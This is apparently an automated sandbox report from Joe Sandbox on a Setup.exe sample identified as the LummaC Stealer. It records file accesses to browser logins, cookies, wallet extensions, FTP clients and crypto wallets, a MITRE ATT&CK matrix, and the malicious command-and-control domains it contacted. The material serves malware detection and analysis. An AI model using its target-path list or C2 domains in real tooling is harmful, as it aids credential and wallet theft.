Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior

Source: Yara match	File source: 00000001.00000003.1930828454.0000000002981000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2020381510.0000000002995000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1931427754.0000000002981000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1945030827.000000000297F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1930065871.000000000297E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 3848, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 1.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup.exe.b580000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup.exe.b62c000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup.exe.b580000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup.exe.b580000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup.exe.b580000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1800435792.000000000B580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1906668887.000000000B62C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 3848, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fashionablei.sbs	188.114.97.3	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
fashionablei.sbs	true	unknown
mediavelk.sbs	true	unknown
definitib.sbs	true	unknown
strikebripm.sbs	true	unknown
elaboretib.sbs	true	unknown
activedomest.sbs	true	unknown
ostracizez.sbs	true	unknown
https://fashionablei.sbs/api	true	unknown
offybirhtdi.sbs	true	unknown
arenbootk.sbs	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fashionablei.sbs/apiu	BitLockerToGo.exe, 00000001.00000003.1930065871.000000000297E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/aws/jsii	Setup.exe, program.js.0.dr	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-07/schema#	program.js.0.dr	false		unknown
https://aws.amazon.com	Setup.exe, program.js.0.dr	false		unknown
http://json-schema.org/schema	Setup.exe, program.js.0.dr	false		unknown
https://fashionablei.sbs:443/api	BitLockerToGo.exe, 00000001.00000002.2070098899.000000000299E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/jprichardson/node-fs-extra/issues/269	program.js.0.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	BitLockerToGo.exe, 00000001.00000003.1930663030.0000000004ED5000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1930552218.0000000004EDC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	BitLockerToGo.exe, 00000001.00000003.1930663030.0000000004ED5000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1930552218.0000000004EDC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000001.00000003.1960857693.0000000004FAA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#	program.js.0.dr	false		unknown
http://json-schema.org/draft-07/schema	Setup.exe, program.js.0.dr	false		unknown
https://fashionablei.sbs/	BitLockerToGo.exe, 00000001.00000003.2050459166.000000000297E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fashionablei.sbs/x	BitLockerToGo.exe, 00000001.00000003.2020441748.000000000297F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/aws/jsii.git	Setup.exe, program.js.0.dr	false		unknown
https://fashionablei.sbs/e	BitLockerToGo.exe, 00000001.00000003.2020774055.0000000002981000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2020441748.000000000297F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	BitLockerToGo.exe, 00000001.00000003.1930663030.0000000004EB0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.microsof	BitLockerToGo.exe, 00000001.00000003.1930552218.0000000004EDE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://fashionablei.sbs:443/apiB	BitLockerToGo.exe, 00000001.00000002.2070098899.000000000299E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/aws/jsii/issues	Setup.exe, program.js.0.dr	false		unknown
https://fashionablei.sbs:443/apiZ	BitLockerToGo.exe, 00000001.00000002.2070098899.000000000299E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	BitLockerToGo.exe, 00000001.00000003.1930663030.0000000004EB0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000001.00000003.1960857693.0000000004FAA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	fashionablei.sbs	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542816
Start date and time:	2024-10-26 15:59:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/4@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 87% Number of executed functions: 35 Number of non-executed functions: 89
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Setup.exe, PID 7100 because there are no executed function
